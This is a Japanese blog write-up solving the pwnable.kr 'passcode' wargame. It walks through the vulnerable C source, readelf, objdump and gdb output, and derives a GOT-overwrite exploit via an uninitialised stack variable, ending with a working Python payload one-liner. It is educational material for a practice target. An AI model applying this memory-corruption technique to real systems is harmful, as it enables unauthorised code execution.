pwnable.kr(5) ~passcode~

pwnable.krの5個目の記事です。

http://pwnable.kr/play.php

リモートにログインして解くタイプですね。

ssh ssh passcode@pwnable.kr -p2222

パスワードはguest。

passcode@ubuntu:~$ ls
flag  passcode	passcode.c
passcode@ubuntu:~$ cat passcode.c

で、出たソースコード

#include <stdio.h>
#include <stdlib.h>

void login(){
	int passcode1;
	int passcode2;

	printf("enter passcode1 : ");
	scanf("%d", passcode1);
	fflush(stdin);

	// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
	printf("enter passcode2 : ");
        scanf("%d", passcode2);

	printf("checking...\n");
	if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
		exit(0);
        }
}

void welcome(){
	char name[100];
	printf("enter you name : ");
	scanf("%100s", name);
	printf("Welcome %s!\n", name);
}

int main(){
	printf("Toddler's Secure Login System 1.0 beta.\n");

	welcome();
	login();

	// something after login...
	printf("Now I can safely trust you that you have credential :)\n");
	return 0;	
}

scanfの使い方がおかしいね。コメントをみると、
「ハ!母ちゃんが32bitのブルートフォース脆弱性があるって言ってたぜ!!」(意訳)
って感じ。

多分、これが言ってるのは、ASLR(Address Space Layout Randomization)で総当たりができるっていうことだと思う。

ASLRはセグメントのアドレスを実行ごとにランダムに配置するやつ。ただし、コードセグメントは不変。

32bitだとこのアドレスを決め打ちして、現実的な時間で当てることができる、という話だと思われる。だけど、今回は、使いません。

passcode@ubuntu:~$ readelf -S ./passcode
There are 30 section headers, starting at offset 0x1154:

Section Headers:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
  [ 1] .interp           PROGBITS        08048154 000154 000013 00   A  0   0  1
  [ 2] .note.ABI-tag     NOTE            08048168 000168 000020 00   A  0   0  4
  [ 3] .note.gnu.build-i NOTE            08048188 000188 000024 00   A  0   0  4
  [ 4] .gnu.hash         GNU_HASH        080481ac 0001ac 000024 04   A  5   0  4
  [ 5] .dynsym           DYNSYM          080481d0 0001d0 0000c0 10   A  6   1  4
  [ 6] .dynstr           STRTAB          08048290 000290 00009e 00   A  0   0  1
  [ 7] .gnu.version      VERSYM          0804832e 00032e 000018 02   A  5   0  2
  [ 8] .gnu.version_r    VERNEED         08048348 000348 000040 00   A  6   1  4
  [ 9] .rel.dyn          REL             08048388 000388 000010 08   A  5   0  4
  [10] .rel.plt          REL             08048398 000398 000048 08   A  5  12  4
  [11] .init             PROGBITS        080483e0 0003e0 00002e 00  AX  0   0  4
  [12] .plt              PROGBITS        08048410 000410 0000a0 04  AX  0   0 16
  [13] .text             PROGBITS        080484b0 0004b0 00029c 00  AX  0   0 16
  [14] .fini             PROGBITS        0804874c 00074c 00001a 00  AX  0   0  4
  [15] .rodata           PROGBITS        08048768 000768 0000e7 00   A  0   0  4
  [16] .eh_frame_hdr     PROGBITS        08048850 000850 000044 00   A  0   0  4
  [17] .eh_frame         PROGBITS        08048894 000894 000108 00   A  0   0  4
  [18] .ctors            PROGBITS        08049f14 000f14 000008 00  WA  0   0  4
  [19] .dtors            PROGBITS        08049f1c 000f1c 000008 00  WA  0   0  4
  [20] .jcr              PROGBITS        08049f24 000f24 000004 00  WA  0   0  4
  [21] .dynamic          DYNAMIC         08049f28 000f28 0000c8 08  WA  6   0  4
  [22] .got              PROGBITS        08049ff0 000ff0 000004 04  WA  0   0  4
  [23] .got.plt          PROGBITS        08049ff4 000ff4 000030 04  WA  0   0  4
  [24] .data             PROGBITS        0804a024 001024 000008 00  WA  0   0  4
  [25] .bss              NOBITS          0804a02c 00102c 00000c 00  WA  0   0  4
  [26] .comment          PROGBITS        00000000 00102c 00002a 01  MS  0   0  1
  [27] .shstrtab         STRTAB          00000000 001056 0000fc 00      0   0  1
  [28] .symtab           SYMTAB          00000000 001604 0004a0 10     29  45  4
  [29] .strtab           STRTAB          00000000 001aa4 000299 00      0   0  1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings)
  I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
  O (extra OS processing required) o (OS specific), p (processor specific)

すべてのセクションの表示。.got.pltセクションをみてみると、WA、つまりW(write)が入ってるのでこのセクションは書き込めるわけだ。
ところで.got.pltセクションは外部の共有ライブラリに飛ぶ際に使われるテーブルで、たとえば、

passcode@ubuntu:~$ gdb -q ./passcode
Reading symbols from ./passcode...(no debugging symbols found)...done.
(gdb) disas welcome
Dump of assembler code for function welcome:
   0x08048609 <+0>:	push   %ebp
   0x0804860a <+1>:	mov    %esp,%ebp
   0x0804860c <+3>:	sub    $0x88,%esp
   0x08048612 <+9>:	mov    %gs:0x14,%eax
   0x08048618 <+15>:	mov    %eax,-0xc(%ebp)
   0x0804861b <+18>:	xor    %eax,%eax
   0x0804861d <+20>:	mov    $0x80487cb,%eax
   0x08048622 <+25>:	mov    %eax,(%esp)
   0x08048625 <+28>:	call   0x8048420 <printf@plt>
   0x0804862a <+33>:	mov    $0x80487dd,%eax
   0x0804862f <+38>:	lea    -0x70(%ebp),%edx
   0x08048632 <+41>:	mov    %edx,0x4(%esp)
   0x08048636 <+45>:	mov    %eax,(%esp)
   0x08048639 <+48>:	call   0x80484a0 <__isoc99_scanf@plt>
   0x0804863e <+53>:	mov    $0x80487e3,%eax
   0x08048643 <+58>:	lea    -0x70(%ebp),%edx
   0x08048646 <+61>:	mov    %edx,0x4(%esp)
   0x0804864a <+65>:	mov    %eax,(%esp)
   0x0804864d <+68>:	call   0x8048420 <printf@plt>
   0x08048652 <+73>:	mov    -0xc(%ebp),%eax
   0x08048655 <+76>:	xor    %gs:0x14,%eax
   0x0804865c <+83>:	je     0x8048663 <welcome+90>
---Type <return> to continue, or q <return> to quit---q
Quit

のprintfを呼んでいるところ

   0x08048625 <+28>:	call   0x8048420 <printf@plt>

こことかを見てみると、0x8048420っていうのはobjdumpから.pltセクションであることがわかる。

passcode@ubuntu:~$ objdump -j .plt -d ./passcode
...
08048420 <printf@plt>:
 8048420:	ff 25 00 a0 04 08    	jmp    *0x804a000
 8048426:	68 00 00 00 00       	push   $0x0
 804842b:	e9 e0 ff ff ff       	jmp    8048410 <_init+0x30>

この部分をみると、1行目でさらに、0x804a000に保存されているアドレスにジャンプしていることがわかる。
じゃあ、0x804a000ってどこだっていう話になるんだけど、これが.gotテーブルなわけ。

passcode@ubuntu:~$ objdump -j .got.plt -d ./passcode

./passcode:     file format elf32-i386


Disassembly of section .got.plt:

08049ff4 <_GLOBAL_OFFSET_TABLE_>:
 8049ff4:	28 9f 04 08 00 00 00 00 00 00 00 00 26 84 04 08     (...........&...
 804a004:	36 84 04 08 46 84 04 08 56 84 04 08 66 84 04 08     6...F...V...f...
 804a014:	76 84 04 08 86 84 04 08 96 84 04 08 a6 84 04 08     v...............

これを見ると、printfは結局、0x08048426に飛んでることがわかる。
さっきも言った通り、このセクションは書き込み可能。
したがって、これのどれかをうまく書き換えれば、任意の場所に飛ばせることができる。ところで、なぜこのセクションが書き込み可能なのかということは

リンカ・ローダ開発テクニックとか、セキュリティコンテストチャレンジブックとかに載ってたと思う。リンクするときに変えられないとだめだからみたいな話だった気がする。

あとは、gdbでちまちまと考えていく。

passcode@ubuntu:~$ gdb -q  ./passcode
Reading symbols from ./passcode...(no debugging symbols found)...done.
(gdb) b welcome
Breakpoint 1 at 0x8048612
(gdb) b login
Breakpoint 2 at 0x804856a
(gdb) r
Starting program: /home/passcode/passcode 
Toddler's Secure Login System 1.0 beta.

Breakpoint 1, 0x08048612 in welcome ()
(gdb) disas welcome
Dump of assembler code for function welcome:
   0x08048609 <+0>:	push   %ebp
   0x0804860a <+1>:	mov    %esp,%ebp
   0x0804860c <+3>:	sub    $0x88,%esp
=> 0x08048612 <+9>:	mov    %gs:0x14,%eax
   0x08048618 <+15>:	mov    %eax,-0xc(%ebp)
   0x0804861b <+18>:	xor    %eax,%eax
   0x0804861d <+20>:	mov    $0x80487cb,%eax
   0x08048622 <+25>:	mov    %eax,(%esp)
   0x08048625 <+28>:	call   0x8048420 <printf@plt>
   0x0804862a <+33>:	mov    $0x80487dd,%eax
   0x0804862f <+38>:	lea    -0x70(%ebp),%edx
   0x08048632 <+41>:	mov    %edx,0x4(%esp)
   0x08048636 <+45>:	mov    %eax,(%esp)
   0x08048639 <+48>:	call   0x80484a0 <__isoc99_scanf@plt>
   0x0804863e <+53>:	mov    $0x80487e3,%eax
   0x08048643 <+58>:	lea    -0x70(%ebp),%edx
   0x08048646 <+61>:	mov    %edx,0x4(%esp)
   0x0804864a <+65>:	mov    %eax,(%esp)
   0x0804864d <+68>:	call   0x8048420 <printf@plt>
   0x08048652 <+73>:	mov    -0xc(%ebp),%eax
   0x08048655 <+76>:	xor    %gs:0x14,%eax
   0x0804865c <+83>:	je     0x8048663 <welcome+90>
---Type <return> to continue, or q <return> to quit---q
Quit
(gdb) p/x $esp
$1 = 0xfff33dd0
(gdb) p/x $ebp
$2 = 0xfff33e58
(gdb) c
Continuing.
enter you name : aaaaaaaa
Welcome aaaaaaaa!

Breakpoint 2, 0x0804856a in login ()
(gdb) disas login
Dump of assembler code for function login:
   0x08048564 <+0>:	push   %ebp
   0x08048565 <+1>:	mov    %esp,%ebp
   0x08048567 <+3>:	sub    $0x28,%esp
=> 0x0804856a <+6>:	mov    $0x8048770,%eax
   0x0804856f <+11>:	mov    %eax,(%esp)
   0x08048572 <+14>:	call   0x8048420 <printf@plt>
   0x08048577 <+19>:	mov    $0x8048783,%eax
   0x0804857c <+24>:	mov    -0x10(%ebp),%edx
   0x0804857f <+27>:	mov    %edx,0x4(%esp)
   0x08048583 <+31>:	mov    %eax,(%esp)
   0x08048586 <+34>:	call   0x80484a0 <__isoc99_scanf@plt>
   0x0804858b <+39>:	mov    0x804a02c,%eax
   0x08048590 <+44>:	mov    %eax,(%esp)
   0x08048593 <+47>:	call   0x8048430 <fflush@plt>
   0x08048598 <+52>:	mov    $0x8048786,%eax
   0x0804859d <+57>:	mov    %eax,(%esp)
   0x080485a0 <+60>:	call   0x8048420 <printf@plt>
   0x080485a5 <+65>:	mov    $0x8048783,%eax
   0x080485aa <+70>:	mov    -0xc(%ebp),%edx
   0x080485ad <+73>:	mov    %edx,0x4(%esp)
   0x080485b1 <+77>:	mov    %eax,(%esp)
   0x080485b4 <+80>:	call   0x80484a0 <__isoc99_scanf@plt>
---Type <return> to continue, or q <return> to quit---q
Quit
(gdb) p/x $esp
$3 = 0xfff33e30
(gdb) p/x $ebp
$4 = 0xfff33e58

$ebpが同じであることがわかる。そりゃ、mainで関数を連続呼び出ししているからね。念のため。スタックポインタは表示した意味ないです。

scanfは呼び出しの際にeaxにフォーマット文字列の先頭アドレス、この場合はedxに、第二引数のアドレスが格納されて、スタックにプッシュされて呼び出されていることがわかる。

また、welcomeでは、nameをスタック内に取っているので、書き込んだものは、login呼び出し内で残されるということもわかる。

まず、welcome内では、

(gdb) disas welcome
Dump of assembler code for function welcome:
   0x08048609 <+0>:	push   %ebp
   0x0804860a <+1>:	mov    %esp,%ebp
   0x0804860c <+3>:	sub    $0x88,%esp
   0x08048612 <+9>:	mov    %gs:0x14,%eax
   0x08048618 <+15>:	mov    %eax,-0xc(%ebp)
   0x0804861b <+18>:	xor    %eax,%eax
   0x0804861d <+20>:	mov    $0x80487cb,%eax
   0x08048622 <+25>:	mov    %eax,(%esp)
   0x08048625 <+28>:	call   0x8048420 <printf@plt>
   0x0804862a <+33>:	mov    $0x80487dd,%eax
   0x0804862f <+38>:	lea    -0x70(%ebp),%edx
   0x08048632 <+41>:	mov    %edx,0x4(%esp)
   0x08048636 <+45>:	mov    %eax,(%esp)
   0x08048639 <+48>:	call   0x80484a0 <__isoc99_scanf@plt>
   0x0804863e <+53>:	mov    $0x80487e3,%eax
   0x08048643 <+58>:	lea    -0x70(%ebp),%edx
   0x08048646 <+61>:	mov    %edx,0x4(%esp)
   0x0804864a <+65>:	mov    %eax,(%esp)
   0x0804864d <+68>:	call   0x8048420 <printf@plt>
   0x08048652 <+73>:	mov    -0xc(%ebp),%eax
   0x08048655 <+76>:	xor    %gs:0x14,%eax
   0x0804865c <+83>:	je     0x8048663 <welcome+90>
---Type <return> to continue, or q <return> to quit---
   0x0804865e <+85>:	call   0x8048440 <__stack_chk_fail@plt>
   0x08048663 <+90>:	leave  
   0x08048664 <+91>:	ret    
End of assembler dump.

のscanf直前の

   0x0804862f <+38>:	lea    -0x70(%ebp),%edx

ここで、edxがebp-0x70になることがわかる。ここがnameの先頭。

次に、

(gdb) disas login
Dump of assembler code for function login:
   0x08048564 <+0>:	push   %ebp
   0x08048565 <+1>:	mov    %esp,%ebp
   0x08048567 <+3>:	sub    $0x28,%esp
   0x0804856a <+6>:	mov    $0x8048770,%eax
   0x0804856f <+11>:	mov    %eax,(%esp)
   0x08048572 <+14>:	call   0x8048420 <printf@plt>
   0x08048577 <+19>:	mov    $0x8048783,%eax
   0x0804857c <+24>:	mov    -0x10(%ebp),%edx
   0x0804857f <+27>:	mov    %edx,0x4(%esp)
   0x08048583 <+31>:	mov    %eax,(%esp)
   0x08048586 <+34>:	call   0x80484a0 <__isoc99_scanf@plt>
   0x0804858b <+39>:	mov    0x804a02c,%eax
   0x08048590 <+44>:	mov    %eax,(%esp)
   0x08048593 <+47>:	call   0x8048430 <fflush@plt>
   0x08048598 <+52>:	mov    $0x8048786,%eax
   0x0804859d <+57>:	mov    %eax,(%esp)
   0x080485a0 <+60>:	call   0x8048420 <printf@plt>
   0x080485a5 <+65>:	mov    $0x8048783,%eax
   0x080485aa <+70>:	mov    -0xc(%ebp),%edx
   0x080485ad <+73>:	mov    %edx,0x4(%esp)
   0x080485b1 <+77>:	mov    %eax,(%esp)
   0x080485b4 <+80>:	call   0x80484a0 <__isoc99_scanf@plt>
---Type <return> to continue, or q <return> to quit---
   0x080485b9 <+85>:	movl   $0x8048799,(%esp)
   0x080485c0 <+92>:	call   0x8048450 <puts@plt>
   0x080485c5 <+97>:	cmpl   $0x528e6,-0x10(%ebp)
   0x080485cc <+104>:	jne    0x80485f1 <login+141>
   0x080485ce <+106>:	cmpl   $0xcc07c9,-0xc(%ebp)
   0x080485d5 <+113>:	jne    0x80485f1 <login+141>
   0x080485d7 <+115>:	movl   $0x80487a5,(%esp)
   0x080485de <+122>:	call   0x8048450 <puts@plt>
   0x080485e3 <+127>:	movl   $0x80487af,(%esp)
   0x080485ea <+134>:	call   0x8048460 <system@plt>
   0x080485ef <+139>:	leave  
   0x080485f0 <+140>:	ret    
   0x080485f1 <+141>:	movl   $0x80487bd,(%esp)
   0x080485f8 <+148>:	call   0x8048450 <puts@plt>
   0x080485fd <+153>:	movl   $0x0,(%esp)
   0x08048604 <+160>:	call   0x8048480 <exit@plt>
End of assembler dump.

この1回目のscanfの前の部分を考えてみると、同様に、edx=*(ebp-0x10)となっていることがわかる。よって、これが、passcode1 の先頭アドレス。この中にあるアドレスにscanfが書き込むわけだ。ここに、welcomeで書き込んでまだ残っている値を利用して、scanfに飛びたいアドレスを書き込ませる。

今回は 1 回目のscanfのあとのfflushのGOTテーブル(0x804a004)を変更して、出力部分に飛ぶ。飛びたいところは、system呼ぶ前の引数設定の場所0x080485e3なので、

python -c "print 'a'*(0x70-0x10)+'\x04\xa0\x04\x08\n'+str(0x80485e3)" | ./passcode